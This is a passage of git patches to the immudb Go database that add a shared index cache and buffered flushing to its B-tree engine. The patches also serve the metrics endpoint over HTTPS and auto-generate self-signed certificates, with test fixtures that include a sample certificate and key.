opts.WithAHTOptions(nil).AHTOpts) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) diff --git a/embedded/tbtree/options.go b/embedded/tbtree/options.go index 4e0f7c7591..8b2554b4bd 100644 --- a/embedded/tbtree/options.go +++ b/embedded/tbtree/options.go @@ -24,6 +24,7 @@ import ( "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" + "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/logger" ) @@ -32,6 +33,7 @@ const ( DefaultFlushThld = 100_000 DefaultSyncThld = 1_000_000 DefaultFlushBufferSize = 4096 + DefaultMaxBufferedDataSize = 1 << 22 // 4MB DefaultCleanUpPercentage float32 = 0 DefaultMaxActiveSnapshots = 100 DefaultRenewSnapRootAfter = time.Duration(1000) * time.Millisecond @@ -58,18 +60,23 @@ type AppFactoryFunc func( type AppRemoveFunc func(rootPath, subPath string) error +type OnFlushFunc func(releasedDataSize int) + type Options struct { logger logger.Logger - flushThld int - syncThld int - flushBufferSize int - cleanupPercentage float32 - maxActiveSnapshots int - renewSnapRootAfter time.Duration - cacheSize int - readOnly bool - fileMode os.FileMode + ID uint16 + flushThld int + syncThld int + maxBufferedDataSize int // maximum amount of KV data that can be buffered before triggering flushing + flushBufferSize int + cleanupPercentage float32 + maxActiveSnapshots int + renewSnapRootAfter time.Duration + cacheSize int + cache *cache.Cache + readOnly bool + fileMode os.FileMode nodesLogMaxOpenedFiles int historyLogMaxOpenedFiles int @@ -86,11 +93,14 @@ type Options struct { appFactory AppFactoryFunc appRemove AppRemoveFunc + onFlush OnFlushFunc } func DefaultOptions() *Options { return &Options{ logger: logger.NewSimpleLogger("immudb ", os.Stderr), + ID: 0, + maxBufferedDataSize: DefaultMaxBufferedDataSize, flushThld: DefaultFlushThld, syncThld: DefaultSyncThld, flushBufferSize: DefaultFlushBufferSize, @@ -176,7 +186,7 @@ func (opts *Options) Validate() error { return fmt.Errorf("%w: invalid RenewSnapRootAfter", ErrInvalidOptions) } - if opts.cacheSize < MinCacheSize { + if opts.cacheSize < MinCacheSize || (opts.cacheSize == 0 && opts.cache == nil) { return fmt.Errorf("%w: invalid CacheSize", ErrInvalidOptions) } @@ -241,6 +251,11 @@ func (opts *Options) WithCacheSize(cacheSize int) *Options { return opts } +func (opts *Options) WithCache(cache *cache.Cache) *Options { + opts.cache = cache + return opts +} + func (opts *Options) WithReadOnly(readOnly bool) *Options { opts.readOnly = readOnly return opts @@ -295,3 +310,18 @@ func (opts *Options) WithDelayDuringCompaction(delay time.Duration) *Options { opts.delayDuringCompaction = delay return opts } + +func (opts *Options) WithIdentifier(id uint16) *Options { + opts.ID = id + return opts +} + +func (opts *Options) WithMaxBufferedDataSize(size int) *Options { + opts.maxBufferedDataSize = size + return opts +} + +func (opts *Options) WithOnFlushFunc(onFlush OnFlushFunc) *Options { + opts.onFlush = onFlush + return opts +} diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 4f92473900..db7bb0a450 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -167,6 +167,7 @@ func (e *cLogEntry) deserialize(b []byte) { // TBTree implements a timed-btree type TBtree struct { path string + id uint16 logger logger.Logger @@ -185,6 +186,7 @@ type TBtree struct { insertionCountSinceSync int insertionCountSinceCleanup int flushThld int + maxBufferedDataSize int syncThld int flushBufferSize int cleanupPercentage float32 @@ -204,10 +206,12 @@ type TBtree struct { appFactory AppFactoryFunc appRemove AppRemoveFunc - snapshots map[uint64]*Snapshot - maxSnapshotID uint64 - lastSnapRoot node - lastSnapRootAt time.Time + bufferedDataSize int + onFlush OnFlushFunc + snapshots map[uint64]*Snapshot + maxSnapshotID uint64 + lastSnapRoot node + lastSnapRootAt time.Time committedLogSize int64 committedNLogSize int64 @@ -556,24 +560,30 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options } } - cache, err := cache.NewCache(opts.cacheSize) - if err != nil { - return nil, err + nodeCache := opts.cache + if nodeCache == nil { + nodeCache, err = cache.NewCache(opts.cacheSize) + if err != nil { + return nil, err + } } t := &TBtree{ path: path, + id: opts.ID, logger: opts.logger, nLog: nLog, hLog: hLog, cLog: cLog, - cache: cache, + cache: nodeCache, maxNodeSize: maxNodeSize, maxKeySize: maxKeySize, maxValueSize: maxValueSize, flushThld: opts.flushThld, + maxBufferedDataSize: opts.maxBufferedDataSize, syncThld: opts.syncThld, flushBufferSize: opts.flushBufferSize, + onFlush: opts.onFlush, cleanupPercentage: opts.cleanupPercentage, renewSnapRootAfter: opts.renewSnapRootAfter, maxActiveSnapshots: opts.maxActiveSnapshots, @@ -739,12 +749,16 @@ func (t *TBtree) cachePut(n node) { defer t.nmutex.Unlock() size, _ := n.size() - r, _, _ := t.cache.PutWeighted(n.offset(), n, size) + r, _, _ := t.cache.PutWeighted(encodeOffset(t.id, n.offset()), n, size) if r != nil { metricsCacheEvict.WithLabelValues(t.path).Inc() } } +func encodeOffset(id uint16, offset int64) int64 { + return int64(id)<<48 | offset +} + func (t *TBtree) nodeAt(offset int64, updateCache bool) (node, error) { t.nmutex.Lock() defer t.nmutex.Unlock() @@ -752,7 +766,9 @@ func (t *TBtree) nodeAt(offset int64, updateCache bool) (node, error) { size := t.cache.EntriesCount() metricsCacheSizeStats.WithLabelValues(t.path).Set(float64(size)) - v, err := t.cache.Get(offset) + encOffset := encodeOffset(t.id, offset) + + v, err := t.cache.Get(encOffset) if err == nil { metricsCacheHit.WithLabelValues(t.path).Inc() return v.(node), nil @@ -768,7 +784,7 @@ func (t *TBtree) nodeAt(offset int64, updateCache bool) (node, error) { if updateCache { size, _ := n.size() - r, _, _ := t.cache.PutWeighted(n.offset(), n, size) + r, _, _ := t.cache.PutWeighted(encOffset, n, size) if r != nil { metricsCacheEvict.WithLabelValues(t.path).Inc() } @@ -1204,6 +1220,11 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC } t.insertionCountSinceFlush = 0 + if t.onFlush != nil { + t.onFlush(t.bufferedDataSize) + } + t.bufferedDataSize = 0 + if cleanupPercentage != 0 { t.insertionCountSinceCleanup = 0 } @@ -1629,6 +1650,14 @@ func (t *TBtree) BulkInsert(kvts []*KVT) error { return t.bulkInsert(kvts) } +func estimateSize(kvts []*KVT) int { + size := 0 + for _, kv := range kvts { + size += len(kv.K) + len(kv.V) + 8 + } + return size +} + func (t *TBtree) bulkInsert(kvts []*KVT) error { if t.closed { return ErrAlreadyClosed @@ -1638,6 +1667,15 @@ func (t *TBtree) bulkInsert(kvts []*KVT) error { return ErrIllegalArguments } + entriesSize := estimateSize(kvts) + if t.bufferedDataSize > 0 && t.bufferedDataSize+entriesSize > t.maxBufferedDataSize { + _, _, err := t.flushTree(t.cleanupPercentage, false, false, "bulkInsert") + if err != nil { + return err + } + } + t.bufferedDataSize += entriesSize + currTs := t.root.ts() // newTs will hold the greatest time, the minimun value will be currTs + 1 diff --git a/pkg/database/types.go b/pkg/database/types.go index f97d26850e..2c1e41c7f5 100644 --- a/pkg/database/types.go +++ b/pkg/database/types.go @@ -41,7 +41,7 @@ type dbRef struct { deleted bool } -//NewDatabaseList constructs a new database list +// NewDatabaseList constructs a new database list func NewDatabaseList() DatabaseList { return &databaseList{ databases: make([]DB, 0), diff --git a/pkg/helpers/semaphore/semaphore.go b/pkg/helpers/semaphore/semaphore.go new file mode 100644 index 0000000000..67f1a7f094 --- /dev/null +++ b/pkg/helpers/semaphore/semaphore.go @@ -0,0 +1,35 @@ +package semaphore + +import "sync/atomic" + +type Semaphore struct { + maxWeight uint64 + currWeight uint64 +} + +func New(maxWeight uint64) *Semaphore { + return &Semaphore{ + maxWeight: maxWeight, + currWeight: 0, + } +} + +func (m *Semaphore) Acquire(n uint64) bool { + if newVal := atomic.AddUint64(&m.currWeight, n); newVal <= m.maxWeight { + return true + } + m.Release(n) + return false +} + +func (m *Semaphore) Release(n uint64) { + atomic.AddUint64(&m.currWeight, ^uint64(n-1)) +} + +func (m *Semaphore) Value() uint64 { + return atomic.LoadUint64(&m.currWeight) +} + +func (m *Semaphore) MaxWeight() uint64 { + return m.maxWeight +} diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 85fbe8f86e..ab25dd0f7c 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -231,7 +231,7 @@ func (s *ImmuServer) defaultAHTOptions() *ahtOptions { func (s *ImmuServer) databaseOptionsFrom(opts *dbOptions) *database.Options { return database.DefaultOption(). WithDBRootPath(s.Options.Dir). - WithStoreOptions(s.storeOptionsForDB(opts.Database, s.remoteStorage, opts.storeOptions())). + WithStoreOptions(s.storeOptionsForDB(opts.Database, s.remoteStorage, opts.storeOptions(s))). AsReplica(opts.Replica). WithSyncReplication(opts.SyncReplication). WithSyncAcks(opts.SyncAcks). @@ -241,7 +241,7 @@ func (s *ImmuServer) databaseOptionsFrom(opts *dbOptions) *database.Options { WithMaxResultSize(s.Options.MaxResultSize) } -func (opts *dbOptions) storeOptions() *store.Options { +func (opts *dbOptions) storeOptions(s *ImmuServer) *store.Options { indexOpts := store.DefaultIndexOptions() if opts.IndexOptions != nil { @@ -263,6 +263,10 @@ func (opts *dbOptions) storeOptions() *store.Options { WithBulkPreparationTimeout(time.Millisecond * time.Duration(opts.IndexOptions.BulkPreparationTimeout)) } + if s != nil { + indexOpts.WithCacheFactoryFunc(s.indexCacheFactoryFunc()) + } + ahtOpts := store.DefaultAHTOptions() if opts.AHTOptions != nil { @@ -386,7 +390,6 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin // Only those fields that were present up to the 1.2.2 release are supported. // Changing any other fields requires new API calls. func dbSettingsToDBNullableSettings(settings *schema.DatabaseSettings) *schema.DatabaseNullableSettings { - nullableUInt32 := func(v uint32) *schema.NullableUint32 { if v > 0 { return &schema.NullableUint32{ @@ -820,7 +823,7 @@ func (opts *dbOptions) Validate() error { ErrIllegalArguments, opts.Database, store.MinimumTruncationFrequency.Hours()) } - return opts.storeOptions().Validate() + return opts.storeOptions(nil).Validate() } func (opts *dbOptions) isReplicatorRequired() bool { diff --git a/pkg/server/options.go b/pkg/server/options.go index f2fa5fc9e2..118d7c324c 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -77,6 +77,7 @@ type Options struct { GRPCReflectionServerEnabled bool SwaggerUIEnabled bool LogRequestMetadata bool + SharedIndexCacheSize int } type RemoteStorageOptions struct { @@ -147,6 +148,7 @@ func DefaultOptions() *Options { GRPCReflectionServerEnabled: true, SwaggerUIEnabled: true, LogRequestMetadata: false, + SharedIndexCacheSize: 1 << 27, // 128MB } } diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index 36795a10dc..a036d394c4 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -27,6 +27,7 @@ import ( "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/appendable/remoteapp" + "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/codenotary/immudb/embedded/remotestorage/s3" "github.com/codenotary/immudb/embedded/store" @@ -158,6 +159,16 @@ func (s *ImmuServer) updateRemoteUUID(remoteStorage remotestorage.Storage) error return remoteStorage.Put(ctx, IDENTIFIER_FNAME, filepath.Join(s.Options.Dir, IDENTIFIER_FNAME)) } +func (s *ImmuServer) indexCacheFactoryFunc() store.IndexCacheFactoryFunc { + if s.indexCacheFunc == nil { + c, _ := cache.NewCache(s.Options.SharedIndexCacheSize) + s.indexCacheFunc = func() *cache.Cache { + return c + } + } + return s.indexCacheFunc +} + func (s *ImmuServer) storeOptionsForDB(name string, remoteStorage remotestorage.Storage, stOpts *store.Options) *store.Options { if remoteStorage != nil { stOpts.WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { diff --git a/pkg/server/server.go b/pkg/server/server.go index 81ec61e6ff..d239610412 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1029,7 +1029,7 @@ func (s *ImmuServer) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseR return nil, ErrIllegalArguments } - s.Logger.Infof("loadinig database '%s'...", req.Database) + s.Logger.Infof("loading database '%s'...", req.Database) defer func() { if err == nil { diff --git a/pkg/server/types.go b/pkg/server/types.go index ee3d376f73..411a2a7596 100644 --- a/pkg/server/types.go +++ b/pkg/server/types.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/truncator" + "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/remotestorage" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" "github.com/codenotary/immudb/pkg/replication" @@ -83,9 +84,9 @@ type ImmuServer struct { StreamServiceFactory stream.ServiceFactory PgsqlSrv pgsqlsrv.PGSQLServer - remoteStorage remotestorage.Storage - - SessManager sessions.Manager + remoteStorage remotestorage.Storage + indexCacheFunc func() *cache.Cache + SessManager sessions.Manager } // DefaultServer ... From ba688474c5db810ec69a36b1dba6685930572d25 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 29 Aug 2024 11:46:10 +0200 Subject: [PATCH 1048/1062] fix(pkg/server): run metrics server under HTTPS Signed-off-by: Stefano Scafiti --- pkg/server/metrics.go | 32 ++++++++++++++++++-------- pkg/server/metrics_test.go | 38 ++++++++++++++++++++++++++++++- pkg/server/server.go | 2 +- pkg/server/webserver_test.go | 44 ++++++++++++++++++++---------------- 4 files changed, 84 insertions(+), 32 deletions(-) diff --git a/pkg/server/metrics.go b/pkg/server/metrics.go index 1ae011aca1..86fc0711fd 100644 --- a/pkg/server/metrics.go +++ b/pkg/server/metrics.go @@ -18,6 +18,7 @@ package server import ( "context" + "crypto/tls" "encoding/json" "expvar" "net/http" @@ -61,16 +62,20 @@ type MetricsCollection struct { RemoteStorageKind *prometheus.GaugeVec computeLoadedDBSize func() float64 - LoadedDatabases prometheus.Gauge + LoadedDatabases prometheus.Gauge computeSessionCount func() float64 - ActiveSessions prometheus.Gauge + ActiveSessions prometheus.Gauge } var metricsNamespace = "immudb" // WithUptimeCounter ... func (mc *MetricsCollection) WithUptimeCounter(f func() float64) { + if mc.UptimeCounter != nil { + return + } + mc.UptimeCounter = promauto.NewCounterFunc( prometheus.CounterOpts{ Namespace: metricsNamespace, @@ -196,6 +201,7 @@ var Metrics = MetricsCollection{ func StartMetrics( updateInterval time.Duration, addr string, + tlsConfig *tls.Config, l logger.Logger, uptimeCounter func() float64, computeDBSizes func() map[string]float64, @@ -204,7 +210,6 @@ func StartMetrics( computeSessionCount func() float64, addPProf bool, ) *http.Server { - Metrics.WithUptimeCounter(uptimeCounter) Metrics.WithComputeDBSizes(computeDBSizes) Metrics.WithComputeDBEntries(computeDBEntries) @@ -232,19 +237,26 @@ func StartMetrics( mux.HandleFunc("/readyz", corsHandlerFunc(ImmudbHealthHandlerFunc())) mux.HandleFunc("/livez", corsHandlerFunc(ImmudbHealthHandlerFunc())) mux.HandleFunc("/version", corsHandlerFunc(ImmudbVersionHandlerFunc)) + server := &http.Server{Addr: addr, Handler: mux} + server.TLSConfig = tlsConfig go func() { - if err := server.ListenAndServe(); err != nil { - if err == http.ErrServerClosed { - l.Debugf("Metrics http server closed") - } else { - l.Errorf("Metrics error: %s", err) - } + var err error + if tlsConfig != nil && len(tlsConfig.Certificates) > 0 { + l.Infof("metrics server enabled on %s (https)", addr) + err = server.ListenAndServeTLS("", "") + } else { + l.Infof("metrics server enabled on %s (http)", addr) + err = server.ListenAndServe() + } + if err == http.ErrServerClosed { + l.Debugf("Metrics http server closed") + } else { + l.Errorf("Metrics error: %s", err) } }() - return server } diff --git a/pkg/server/metrics_test.go b/pkg/server/metrics_test.go index 767dfb5815..b8953b32bb 100644 --- a/pkg/server/metrics_test.go +++ b/pkg/server/metrics_test.go @@ -18,6 +18,7 @@ package server import ( "context" + "crypto/tls" "encoding/json" "net" "net/http" @@ -31,10 +32,16 @@ import ( "google.golang.org/grpc/peer" ) -func TestStartMetrics(t *testing.T) { +func TestStartMetricsHTTP(t *testing.T) { + tlsConfig := &tls.Config{ + Certificates: []tls.Certificate{}, + ClientAuth: tls.VerifyClientCertIfGiven, + } + server := StartMetrics( 100*time.Millisecond, "0.0.0.0:9999", + tlsConfig, &mockLogger{}, func() float64 { return 0 }, func() map[string]float64 { return make(map[string]float64) }, @@ -49,6 +56,34 @@ func TestStartMetrics(t *testing.T) { require.IsType(t, &http.Server{}, server) } +func TestStartMetricsHTTPS(t *testing.T) { + tlsConfig := tlsConfigTest(t) + + server := StartMetrics( + 100*time.Millisecond, + "0.0.0.0:9999", + tlsConfig, + &mockLogger{}, + func() float64 { return 0 }, + func() map[string]float64 { return make(map[string]float64) }, + func() map[string]float64 { return make(map[string]float64) }, + func() float64 { return 1.0 }, + func() float64 { return 2.0 }, + false, + ) + time.Sleep(200 * time.Millisecond) + defer server.Close() + + require.IsType(t, &http.Server{}, server) + + tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}} + client := &http.Client{Transport: tr} + require.Eventually(t, func() bool { + _, err := client.Get("https://0.0.0.0:9999") + return err == nil + }, 10*time.Second, 30*time.Millisecond) +} + func TestStartMetricsFail(t *testing.T) { save_metricsNamespace := metricsNamespace metricsNamespace = "failimmudb" @@ -57,6 +92,7 @@ func TestStartMetricsFail(t *testing.T) { server := StartMetrics( 100*time.Millisecond, "999.999.999.999:9999", + nil, &mockLogger{}, func() float64 { return 0 }, func() map[string]float64 { return make(map[string]float64) }, diff --git a/pkg/server/server.go b/pkg/server/server.go index d239610412..c183b26a86 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -281,7 +281,7 @@ func (s *ImmuServer) Start() (err error) { startedAt = time.Now() if s.Options.MetricsServer { - s.metricsServer = StartMetrics(1*time.Minute, s.Options.MetricsBind(), s.Logger, s.metricFuncServerUptimeCounter, + s.metricsServer = StartMetrics(1*time.Minute, s.Options.MetricsBind(), s.Options.TLSConfig, s.Logger, s.metricFuncServerUptimeCounter, s.metricFuncComputeDBSizes, s.metricFuncComputeDBEntries, s.metricFuncComputeLoadedDBSize, s.metricFuncComputeSessionCount, s.Options.PProf) defer func() { diff --git a/pkg/server/webserver_test.go b/pkg/server/webserver_test.go index b0a0e45594..dc121b54b1 100644 --- a/pkg/server/webserver_test.go +++ b/pkg/server/webserver_test.go @@ -61,27 +61,8 @@ func TestStartWebServerHTTPS(t *testing.T) { options := DefaultOptions().WithDir(dir) server := DefaultServer().WithOptions(options).(*ImmuServer) - certPem := []byte(`-----BEGIN CERTIFICATE----- -MIIBhTCCASugAwIBAgIQIRi6zePL6mKjOipn+dNuaTAKBggqhkjOPQQDAjASMRAw -DgYDVQQKEwdBY21lIENvMB4XDTE3MTAyMDE5NDMwNloXDTE4MTAyMDE5NDMwNlow -EjEQMA4GA1UEChMHQWNtZSBDbzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABD0d -7VNhbWvZLWPuj/RtHFjvtJBEwOkhbN/BnnE8rnZR8+sbwnc/KhCk3FhnpHZnQz7B -5aETbbIgmuvewdjvSBSjYzBhMA4GA1UdDwEB/wQEAwICpDATBgNVHSUEDDAKBggr -BgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MCkGA1UdEQQiMCCCDmxvY2FsaG9zdDo1 -NDUzgg4xMjcuMC4wLjE6NTQ1MzAKBggqhkjOPQQDAgNIADBFAiEA2zpJEPQyz6/l -Wf86aX6PepsntZv2GYlA5UpabfT2EZICICpJ5h/iI+i341gBmLiAFQOyTDT+/wQc -6MF9+Yw1Yy0t ------END CERTIFICATE-----`) - keyPem := []byte(`-----BEGIN EC PRIVATE KEY----- -MHcCAQEEIIrYSSNQFaA2Hwf1duRSxKtLYX5CB04fSeQ6tF1aY/PuoAoGCCqGSM49 -AwEHoUQDQgAEPR3tU2Fta9ktY+6P9G0cWO+0kETA6SFs38GecTyudlHz6xvCdz8q -EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== ------END EC PRIVATE KEY-----`) - - cert, err := tls.X509KeyPair(certPem, keyPem) - require.NoError(t, err) - tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}} + tlsConfig := tlsConfigTest(t) webServer, err := startWebServer( context.Background(), options.Bind(), @@ -101,3 +82,26 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== return err == nil }, 10*time.Second, 30*time.Millisecond) } + +func tlsConfigTest(t *testing.T) *tls.Config { + certPem := []byte(`-----BEGIN CERTIFICATE----- +MIIBhTCCASugAwIBAgIQIRi6zePL6mKjOipn+dNuaTAKBggqhkjOPQQDAjASMRAw +DgYDVQQKEwdBY21lIENvMB4XDTE3MTAyMDE5NDMwNloXDTE4MTAyMDE5NDMwNlow +EjEQMA4GA1UEChMHQWNtZSBDbzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABD0d +7VNhbWvZLWPuj/RtHFjvtJBEwOkhbN/BnnE8rnZR8+sbwnc/KhCk3FhnpHZnQz7B +5aETbbIgmuvewdjvSBSjYzBhMA4GA1UdDwEB/wQEAwICpDATBgNVHSUEDDAKBggr +BgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MCkGA1UdEQQiMCCCDmxvY2FsaG9zdDo1 +NDUzgg4xMjcuMC4wLjE6NTQ1MzAKBggqhkjOPQQDAgNIADBFAiEA2zpJEPQyz6/l +Wf86aX6PepsntZv2GYlA5UpabfT2EZICICpJ5h/iI+i341gBmLiAFQOyTDT+/wQc +6MF9+Yw1Yy0t +-----END CERTIFICATE-----`) + keyPem := []byte(`-----BEGIN EC PRIVATE KEY----- +MHcCAQEEIIrYSSNQFaA2Hwf1duRSxKtLYX5CB04fSeQ6tF1aY/PuoAoGCCqGSM49 +AwEHoUQDQgAEPR3tU2Fta9ktY+6P9G0cWO+0kETA6SFs38GecTyudlHz6xvCdz8q +EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== +-----END EC PRIVATE KEY-----`) + + cert, err := tls.X509KeyPair(certPem, keyPem) + require.NoError(t, err) + return &tls.Config{Certificates: []tls.Certificate{cert}} +} From 67f4b0dfd5e79c70884637473549d6eaa2dc81c6 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Sat, 31 Aug 2024 11:31:44 +0200 Subject: [PATCH 1049/1062] chore(pkg/server): implement automatic generation of self-signed HTTPS certificate - add --auto-cert flag to enable automatic HTTPS certificate generation; - properly initialize client used by grpc-gateway when TLS is used. Signed-off-by: Stefano Scafiti --- cmd/immudb/command/init.go | 2 + cmd/immudb/command/parse_options.go | 3 +- cmd/immudb/command/tls_config.go | 87 +++++++++++++++++-- cmd/immudb/command/tls_config_test.go | 56 ++++++++++-- pkg/cert/cert.go | 119 ++++++++++++++++++++++++++ pkg/server/corruption_checker_test.go | 27 ++++-- pkg/server/options.go | 2 + pkg/server/server.go | 30 +++++++ pkg/server/server_test.go | 53 ++++++++++++ pkg/server/webserver.go | 15 +++- 10 files changed, 369 insertions(+), 25 deletions(-) create mode 100644 pkg/cert/cert.go diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 97619118d3..32726117a5 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -55,6 +55,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Int("max-recv-msg-size", options.MaxRecvMsgSize, "max message size in bytes the server can receive") cmd.Flags().Bool("no-histograms", false, "disable collection of histogram metrics like query durations") cmd.Flags().BoolP(c.DetachedFlag, c.DetachedShortFlag, options.Detached, "run immudb in background") + cmd.Flags().Bool("auto-cert", options.AutoCert, "start the server using a generated, self-signed HTTPS certificate") cmd.Flags().String("certificate", "", "server certificate file path") cmd.Flags().String("pkey", "", "server private key path") cmd.Flags().String("clientcas", "", "clients certificates list. Aka certificate authority") @@ -122,6 +123,7 @@ func setupDefaults(options *server.Options) { viper.SetDefault("max-recv-msg-size", options.MaxRecvMsgSize) viper.SetDefault("no-histograms", options.NoHistograms) viper.SetDefault("detached", options.Detached) + viper.SetDefault("auto-cert", options.AutoCert) viper.SetDefault("certificate", "") viper.SetDefault("pkey", "") viper.SetDefault("clientcas", "") diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 328b901d82..54fec1195a 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -59,6 +59,7 @@ func parseOptions() (options *server.Options, err error) { maxRecvMsgSize := viper.GetInt("max-recv-msg-size") noHistograms := viper.GetBool("no-histograms") detached := viper.GetBool("detached") + autoCert := viper.GetBool("auto-cert") certificate := viper.GetString("certificate") pkey := viper.GetString("pkey") clientcas := viper.GetString("clientcas") @@ -118,7 +119,7 @@ func parseOptions() (options *server.Options, err error) { WithMaxSessionAgeTime(viper.GetDuration("max-session-age-time")). WithTimeout(viper.GetDuration("session-timeout")) - tlsConfig, err := setUpTLS(pkey, certificate, clientcas, mtls) + tlsConfig, err := setUpTLS(pkey, certificate, clientcas, mtls, autoCert) if err != nil { return options, err } diff --git a/cmd/immudb/command/tls_config.go b/cmd/immudb/command/tls_config.go index 8565e015f2..f808d4a2ca 100644 --- a/cmd/immudb/command/tls_config.go +++ b/cmd/immudb/command/tls_config.go @@ -21,24 +21,59 @@ import ( "crypto/x509" "errors" "fmt" - "io/ioutil" + "os" + "path/filepath" + "time" + + tlscert "github.com/codenotary/immudb/pkg/cert" +) + +const ( + certFileDefault = "immudb-cert.pem" + keyFileDefault = "immudb-key.pem" + + certOrganizationDefault = "immudb" + certExpirationDefault = 365 * 24 * time.Hour ) -func setUpTLS(pkey, cert, ca string, mtls bool) (*tls.Config, error) { +func setUpTLS(pkeyPath, certPath, ca string, mtls bool, autoCert bool) (*tls.Config, error) { + if (pkeyPath == "" && certPath != "") || (pkeyPath != "" && certPath == "") { + return nil, fmt.Errorf("both certificate and private key paths must be specified or neither") + } + var c *tls.Config - if cert != "" && pkey != "" { - certs, err := tls.LoadX509KeyPair(cert, pkey) + certPath, pkeyPath, err := getCertAndKeyPath(certPath, pkeyPath, autoCert) + if err != nil { + return nil, err + } + + if certPath != "" && pkeyPath != "" { + cert, err := ensureCert(certPath, pkeyPath, autoCert) if err != nil { - return nil, errors.New(fmt.Sprintf("failed to read client certificate or private key: %v", err)) + return nil, fmt.Errorf("failed to read client certificate or private key: %v", err) } + c = &tls.Config{ - Certificates: []tls.Certificate{certs}, + Certificates: []tls.Certificate{*cert}, ClientAuth: tls.VerifyClientCertIfGiven, } + + if autoCert { + rootCert, err := os.ReadFile(certPath) + if err != nil { + return nil, fmt.Errorf("failed to read root cert: %v", err) + } + + rootPool := x509.NewCertPool() + if ok := rootPool.AppendCertsFromPEM(rootCert); !ok { + return nil, fmt.Errorf("failed to read root cert") + } + c.RootCAs = rootPool + } } - if mtls && (cert == "" || pkey == "") { + if mtls && (certPath == "" || pkeyPath == "") { return nil, errors.New("in order to enable MTLS a certificate and private key are required") } @@ -46,7 +81,7 @@ func setUpTLS(pkey, cert, ca string, mtls bool) (*tls.Config, error) { if mtls && ca != "" { certPool := x509.NewCertPool() // Trusted store, contain the list of trusted certificates. client has to use one of this certificate to be trusted by this server - bs, err := ioutil.ReadFile(ca) + bs, err := os.ReadFile(ca) if err != nil { return nil, fmt.Errorf("failed to read client ca cert: %v", err) } @@ -57,6 +92,40 @@ func setUpTLS(pkey, cert, ca string, mtls bool) (*tls.Config, error) { } c.ClientCAs = certPool } - return c, nil } + +func loadCert(certPath, keyPath string) (*tls.Certificate, error) { + cert, err := tls.LoadX509KeyPair(certPath, keyPath) + if err != nil { + return nil, fmt.Errorf("failed to load cert/key pair: %w", err) + } + return &cert, nil +} + +func ensureCert(certPath, keyPath string, genCert bool) (*tls.Certificate, error) { + _, err1 := os.Stat(certPath) + _, err2 := os.Stat(keyPath) + + if (os.IsNotExist(err1) || os.IsNotExist(err2)) && genCert { + if err := tlscert.GenerateSelfSignedCert(certPath, keyPath, certOrganizationDefault, certExpirationDefault); err != nil { + return nil, err + } + } + return loadCert(certPath, keyPath) +} + +func getCertAndKeyPath(certPath, keyPath string, useDefault bool) (string, string, error) { + if !useDefault || (certPath != "" && keyPath != "") { + return certPath, keyPath, nil + } + + homeDir, err := os.UserHomeDir() + if err != nil { + return "", "", fmt.Errorf("cannot get user home directory: %w", err) + } + + return filepath.Join(homeDir, "immudb", "ssl", certFileDefault), + filepath.Join(homeDir, "immudb", "ssl", keyFileDefault), + nil +} diff --git a/cmd/immudb/command/tls_config_test.go b/cmd/immudb/command/tls_config_test.go index 067c329a4c..d8b63f4af2 100644 --- a/cmd/immudb/command/tls_config_test.go +++ b/cmd/immudb/command/tls_config_test.go @@ -19,6 +19,7 @@ package immudb import ( "fmt" "os" + "path/filepath" "testing" "github.com/stretchr/testify/require" @@ -54,23 +55,66 @@ d/ax/lUR3RCVV6A+hzTgOhYKvoV1U6iX21hUarcm6MB6qaeORCHfQzQpn62nRe6X ` func TestSetUpTLS(t *testing.T) { - _, err := setUpTLS("banana", "banana", "banana", false) + _, err := setUpTLS("banana", "", "banana", false, false) require.Error(t, err) - _, err = setUpTLS("", "", "", true) + _, err = setUpTLS("banana", "banana", "banana", false, false) require.Error(t, err) - _, err = setUpTLS("banana", "", "", true) + _, err = setUpTLS("", "", "", true, false) + require.Error(t, err) + _, err = setUpTLS("banana", "", "", true, false) require.Error(t, err) defer os.Remove("xxkey.pem") f, _ := os.Create("xxkey.pem") - fmt.Fprintf(f, key) + fmt.Fprint(f, key) f.Close() defer 